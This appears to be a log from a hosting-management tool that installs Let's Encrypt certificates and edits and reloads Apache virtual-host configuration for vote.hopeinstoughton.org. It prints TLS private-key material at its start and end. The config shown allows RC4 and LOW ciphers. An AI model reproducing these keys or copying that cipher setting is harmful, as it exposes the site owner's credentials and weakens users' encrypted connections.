41iYpnYH5ASgWcpav+72/DnvBOPWIQgM5ftGoyOGvIboYk1hXbmBeHA2v/Y3hHng
YF5oHDk5fwKBgHQHvZyRXiY6VSbuZvhsz/1a4p0Fe/bznJ8ZG53VmlajgQZJoSHK
dtupavjm6YvxezguftClIztYS9j9N/zd+7nANIllm4KQ8FNXCgM6igfvnyXKPkVb
SVRQ4ymS6/c9a3fEmeDKw15bdAP2eslmo3LylX31S6YNP6oTP8TkVRX5AoGAXQP7
7gomo5st11AFBBVUAUy9l2lfWvONMMmOncUuMeTXjKxN2RFoT/OriaCgK2rj+F05
e2u1yzsqdYChBGYrrrhFw0VXqUxI940wEPQ0rt+ocl3pEma13LNxBSNRgdZ41Twp
f1o8k54OM2ztkckIZniippPhTG0h7mb0ATe2Rm8CgYBOJZcHxc4K0vwSa1ALdma7
UKI3EE4ViOdjTiqpXyqopL7HI578YeJdBSLUoIFQOQKzpUOwd7fpFrHh67zQXfCO
8WX85+eSge9iLQ27OG+pOD6RPQ5wrxFM1c7zu7GNQL81j3xJXEa5T67YStQZO0EB
XeMnWsKXL9sjNRmN/0H4ww==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-03 06:00:40: 

chmod 755 /tmp/pkp451656; /tmp/pkp451656; rm /tmp/pkp451656

2026-07-03 06:00:40: 


dir=/etc/ssl/certs


2026-07-03 06:00:40: 

PUT: /tmp/pkp414509

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-03 06:00:40: 

chmod 755 /tmp/pkp414509; /tmp/pkp414509; rm /tmp/pkp414509

2026-07-03 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-03 06:00:40: 

PUT: /tmp/pkp651748

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi


2026-07-03 06:00:40: 

chmod 755 /tmp/pkp651748; /tmp/pkp651748; rm /tmp/pkp651748

2026-07-03 06:00:40: 




2026-07-03 06:00:40: 

PUT: /tmp/pkp148820

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-03 06:00:40: 

chmod 755 /tmp/pkp148820; /tmp/pkp148820; rm /tmp/pkp148820

2026-07-03 06:00:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-03 06:00:40: Establishing a connection
2026-07-03 06:00:40: 

PUT: /tmp/pkp121101

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-03 06:00:40: 

chmod 755 /tmp/pkp121101; /tmp/pkp121101; rm /tmp/pkp121101

2026-07-03 06:00:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-03 06:00:40: 

PUT: /tmp/pkp217703

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-03 06:00:40: 

chmod 755 /tmp/pkp217703; /tmp/pkp217703; rm /tmp/pkp217703

2026-07-03 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf	1655

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-03 06:00:40: 

PUT: /tmp/pkp979757

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-03 06:00:41: 

chmod 755 /tmp/pkp979757; /tmp/pkp979757; rm /tmp/pkp979757

2026-07-03 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt	7440
09:05:93:c8:2e:3e:a0:fc:26:5c:cc:65:a1:ba:83:07

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBeMTRomkTS2eNO3Y8QKj5MbZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzAzMDUwMjA4WhcNMjYxMDAxMDUwMjA3WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCg+zs04um2QXoAm+EoZ7zrAM4ISRoMCFrC/cidsh51jgYVZ+RA
TsZteNo8j9sOBhJKoiDrcw+nlAwKrEYw6dvvkdvJf+d0L8bvlioCYF7pxQuCNv6D
/8tLAbZLJB7aH2FSpxlR59GSSWquJGIetWe+mImBLXInJqBkY7FD3m6G4Op+Vnau
C/yX+e2pSk+AaVLM3Py6WLxyhaT8B78PvJ98AhUChbSwQfVIQ8qkwyFHZwToZUc3
V66VIJpZTJ3DEI/U3mrOyQrdghH0ZfGd8Y8u/BU2an6HZi3jKfS9H5J3gI6ruJCC
8F1KYU2vqDQmsngEy+18T0h7llqjGO/5GIdZAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFnICmDH9BbyjOkz/Us9gL9cbqBQwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghh2b3RlLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy85MC5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8
APoAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ8mkJj4AAAE
AwBIMEYCIQCx045NaO/0mPQWbJwv+rqIpt7IA3bqHMv/JhkPiLfkZAIhAJCfKwdr
cP7w04aujrJOqPs/7oqiBxjc6Mhtwfu48QfNAH8AqCbL4wrGNRJGUz/gZfFPGdlu
GQgTxB3ZbXkAsxI8VScAAAGfJpCcdwAIAAAFABItJyYEAwBIMEYCIQDhjSsv6LwR
5JjO8N2fEbN8wtFTTrI2Uf+nu9Vz4yTP4QIhAMTVwVFbxZBHnx+aKYayWjmD0i3d
GpnJAvvfbrwNYscmMA0GCSqGSIb3DQEBCwUAA4IBAQAKW3uveps6Thw8J9G+9ibJ
KEKCrfZX8AMMvy7SUHTc8Xn77PrGPra9reulOXDqqnvlyKbF8DQYQpdhOHpGBTS+
x57ScOnhnK1O8OLcvqkae6ZETm2QXS7C0i6vWlPs2Gto+MH9Y3fyhjtE7hqVf5f+
6Ozrv9/94BTzRHxOjeh6uSouxmGJi8jpXuNAYZlaOZ5weyRzHX7MimvLVB2jGz8/
eG0M8hEra7LrRXzUJWXzMFNEo0CerZroXvMoXJGZpyPL9kM8IzuY9xTPxtg+ahiS
AhopS6C1bDdV9wKHleojBGU0qD7oUyR9emILb8pUw1u4UQEV5QrbHuSSwN4+5MHJ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCg+zs04um2QXoA
m+EoZ7zrAM4ISRoMCFrC/cidsh51jgYVZ+RATsZteNo8j9sOBhJKoiDrcw+nlAwK
rEYw6dvvkdvJf+d0L8bvlioCYF7pxQuCNv6D/8tLAbZLJB7aH2FSpxlR59GSSWqu
JGIetWe+mImBLXInJqBkY7FD3m6G4Op+VnauC/yX+e2pSk+AaVLM3Py6WLxyhaT8
B78PvJ98AhUChbSwQfVIQ8qkwyFHZwToZUc3V66VIJpZTJ3DEI/U3mrOyQrdghH0
ZfGd8Y8u/BU2an6HZi3jKfS9H5J3gI6ruJCC8F1KYU2vqDQmsngEy+18T0h7llqj
